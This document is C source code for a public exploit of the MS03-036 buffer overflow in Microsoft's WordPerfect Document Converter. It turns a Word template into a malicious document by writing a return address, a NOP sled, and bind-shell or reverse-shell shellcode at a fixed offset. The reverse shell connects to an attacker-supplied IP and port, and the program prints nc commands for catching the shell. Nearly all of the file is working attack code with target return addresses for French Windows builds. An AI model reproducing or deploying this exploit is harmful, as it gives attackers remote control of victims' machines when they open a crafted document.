/******************************************************************/
/*   Microsoft WordPerfect Document Converter Buffer Overflow Exploit MS03-036    */
/*                                                                                                                */
/*                                  Exploit with several targets                                         */
/*                                                                                                                */
/*        Find your own return address with :                                                       */
/*            findhex dllname FF D4 (call esp)                                                      */
/*            findhex dllname FF E4 (jmp esp)                                                      */
/*                                                                                                                */
/* Credits :                                                                                                   */
/* vulnerability : Yuji "The Ninja" Ukai                                                              */
/* findhex : Jason Jordan                                                                               */
/* sk scan-associates.net                                                                               */
/* shellcode : metasploit                                                                                */
/* exploit : valgasu - RstAck                                                                           */
/*                                                                                                                */
/******************************************************************/


#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")

/* eip offset for Word 2000 9.0.2812 */
#define EIP_OFFSET 1359

/* eip offset for Word 2000 9.0.4462 SR1 */
//#define EIP_OFFSET 1343


void usage(char *name)
{
printf("n-- --n");
printf("-- WordPerfect Document Converter Exploit --n");
printf("-- --nn");
printf("Usage: %s <shell type> <template doc> <os> <port> [<ip>]nn", name);
printf("Shell type : 1 - Bind shell (need port)n");
printf(" 2 - Reverse shell (need ip and port)nn");
printf("OS : 1 - Windows 2000 Pro SP3 Frenchn");
printf(" 2 - Windows NT4 Workstation SP5 Frenchn");
printf(" 3 - Windows NT4 Workstation SP6 Frenchn");

exit(1);
}


int main(int argc, char *argv[])
{
unsigned char bindshell[] =
"x66x81xecx80x00x89xe6xe8x4bx01x00x00x89x06xffx36"
"x68x8ex4ex0execxe8x52x01x00x00x89x46x08xffx36x68"
"xadxd9x05xcexe8x43x01x00x00x89x46x0cx68x6cx6cx00"
"x00x68x33x32x2ex64x68x77x73x32x5fx54xffx56x08x89"
"x46x04xffx36x68x72xfexb3x16xe8x1ex01x00x00x89x46"
"x10xffx36x68xefxcexe0x60xe8x0fx01x00x00x89x46x14"
"xffx76x04x68xcbxedxfcx3bxe8xffx00x00x00x89x46x18"
"xffx76x04x68xd9x09xf5xadxe8xefx00x00x00x89x46x1c"
"xffx76x04x68xa4x1ax70xc7xe8xdfx00x00x00x89x46x20"
"xffx76x04x68xa4xadx2exe9xe8xcfx00x00x00x89x46x24"
"xffx76x04x68xe5x49x86x49xe8xbfx00x00x00x89x46x28"
"xffx76x04x68xe7x79xc6x79xe8xafx00x00x00x89x46x2c"
"x31xffx81xecx90x01x00x00x54x68x01x01x00x00xffx56"
"x18x50x50x50x50x40x50x40x50xffx56x1cx89xc3x57x57"
"x68x02x00x22x11x89xe1x68x16x00x00x00x51x53xffx56"
"x20x57x53xffx56x24x57x51x53xffx56x28x89xc2x68x65"
"x78x65x00x68x63x6dx64x2ex89x66x30x81xc4xacxffxff"
"xffx8dx3cx24x31xc0x31xc9x80xc1x15xabxe2xfdxc6x44"
"x24x10x44xfex44x24x3dx89x54x24x48x89x54x24x4cx89"
"x54x24x50x8dx44x24x10x54x50x51x51x51x41x51x49x51"
"x51xffx76x30x51xffx56x10x89xe1x68xffxffxffxffxff"
"x31x89xc1x57xffx56x14x56x64xa1x30x00x00x00x8bx40"
"x0cx8bx70x1cxadx8bx40x08x5exc2x04x00x53x55x56x57"
"x8bx6cx24x18x8bx45x3cx8bx54x05x78x01xeax8bx4ax18"
"x8bx5ax20x01xebxe3x32x49x8bx34x8bx01xeex31xffxfc"
"x31xc0xacx38xe0x74x07xc1xcfx0dx01xc7xebxf2x3bx7c"
"x24x14x75xe1x8bx5ax24x01xebx66x8bx0cx4bx8bx5ax1c"
"x01xebx8bx04x8bx01xe8xebx02x31xc0x89xeax5fx5ex5d"
"x5bxc2x04x00";

char revshell[] =
"x66x81xecx80x00x89xe6xe8x10x01x00x00x89x06xffx36"
"x68x8ex4ex0execxe8x17x01x00x00x89x46x08xffx36x68"
"xadxd9x05xcexe8x08x01x00x00x89x46x0cx68x6cx6cx00"
"x00x68x33x32x2ex64x68x77x73x32x5fx54xffx56x08x89"
"x46x04xffx36x68x72xfexb3x16xe8xe3x00x00x00x89x46"
"x10xffx36x68x7exd8xe2x73xe8xd4x00x00x00x89x46x14"
"xffx76x04x68xcbxedxfcx3bxe8xc4x00x00x00x89x46x18"
"xffx76x04x68xd9x09xf5xadxe8xb4x00x00x00x89x46x1c"
"xffx76x04x68xecxf9xaax60xe8xa4x00x00x00x89x46x20"
"x81xecx90x01x00x00x54x68x01x01x00x00xffx56x18x50"
"x50x50x50x40x50x40x50xffx56x1cx89xc3xebx03xffx56"
"x14x68xc0xa8x00xf7x68x02x00x22x11x89xe1x6ax10x51"
"x53xffx56x20x85xc0x75xe6x68x63x6dx64x00x89x66x30"
"x81xc4xacxffxffxffx8dx3cx24x31xc0x31xc9x80xe9xeb" 
"xabxe2xfdxc6x44x24x10x44xfex44x24x3dx89x5cx24x48"
"x89x5cx24x4cx89x5cx24x50x8dx44x24x10x54x50x51x51"
"x51x6ax01x51x51xffx76x30x51xffx56x10x89xe1x68xff"
"xffxffxffxffx31xffx56x0cx89xc1xebx92x56x64xa1x30"
"x00x00x00x8bx40x0cx8bx70x1cxadx8bx40x08x5exc2x04"
"x00x53x55x56x57x8bx6cx24x18x8bx45x3cx8bx54x05x78"
"x01xeax8bx4ax18x8bx5ax20x01xebxe3x32x49x8bx34x8b"
"x01xeex31xffxfcx31xc0xacx38xe0x74x07xc1xcfx0dx01"
"xc7xebxf2x3bx7cx24x14x75xe1x8bx5ax24x01xebx66x8b"
"x0cx4bx8bx5ax1cx01xebx8bx04x8bx01xe8xebx02x31xc0"
"x89xeax5fx5ex5dx5bxc2x04x00";


FILE *docfile;
unsigned short port;
const char *eip;
char targetos[255];
int i;
int bshell;


if (argc <5) {
usage(argv[0]);
} 

printf("n-- --n");
printf("-- WordPerfect Document Converter Exploit --n");
printf("-- --nn");


/* Shell type */
switch(atoi(argv[1])) {
case 1 : printf("-- Shell type : bind shelln");
bshell = 1;
break;

case 2 : printf("-- Shell type : reverse shelln");
bshell = 0;
break;

default : printf("-- Shell type : unknownn");
exit(1);
}


/* Open template file */
if( (docfile = fopen(argv[2], "r+b")) == NULL) {
printf("-- Can't open file %sn", argv[2]);

exit(1);
} 
else {
printf("-- Template file : "%s"n", argv[2]);
}


/* Customize shellcode */
port = htons(atoi(argv[4])); 

if(bshell) {
*(unsigned short *)&bindshell[227] = port;
printf("-- Port : %dn", atoi(argv[4]));
}
else {
*(unsigned short *)&revshell[185] = port;
printf("-- Port : %dn", atoi(argv[4]));

*(unsigned int *)&revshell[178] = inet_addr(argv[5]);
printf("-- IP : %sn", argv[5]);
}

/* Set the return address */
switch(atoi(argv[3])) {
// Windows 2000 Pro SP3 - French
case 1 : sprintf(targetos, "Windows 2000 Pro SP3 - French");
eip = "xA7x88xE2x77";
break;

// Windows NT4 Workstation SP5 - French
case 2 : sprintf(targetos, "Windows NT4 Workstation SP5 - French");
eip = "x10x45xEBx77";
break;

// Windows NT4 Workstation SP6 - French
case 3 : sprintf(targetos, "Windows NT4 Workstation SP6 - French");
eip = "x36x28xF3x77";
break;

// Add your own return address here

default : printf("-- Target OS : unknownn");
exit(1);
}

printf("-- Target OS : %sn", targetos);

fseek(docfile, EIP_OFFSET, SEEK_SET);
fwrite(eip, sizeof(eip), 1, docfile);

// Put some nop
for (i=0;i<24;i++) {
fseek(docfile, EIP_OFFSET + 4 + i, SEEK_SET);
fwrite("x90", sizeof(char), 1, docfile);
}

// Put our shellcode
fseek(docfile, EIP_OFFSET + 28, SEEK_SET);

if(bshell) {
fwrite(bindshell, sizeof(bindshell), 1, docfile);
}
else {
fwrite(revshell, sizeof(revshell), 1, docfile);
}

fclose(docfile);

printf("-- Status : template file modifiedn");

if(bshell) {
printf("-- After document execution : nc <ip> %dn", atoi(argv[4]));
}
else {
printf("-- Before document execution : nc -l -p %dn", atoi(argv[4]));
}

return 0;
}


// www.Syue.com [2003-09-06]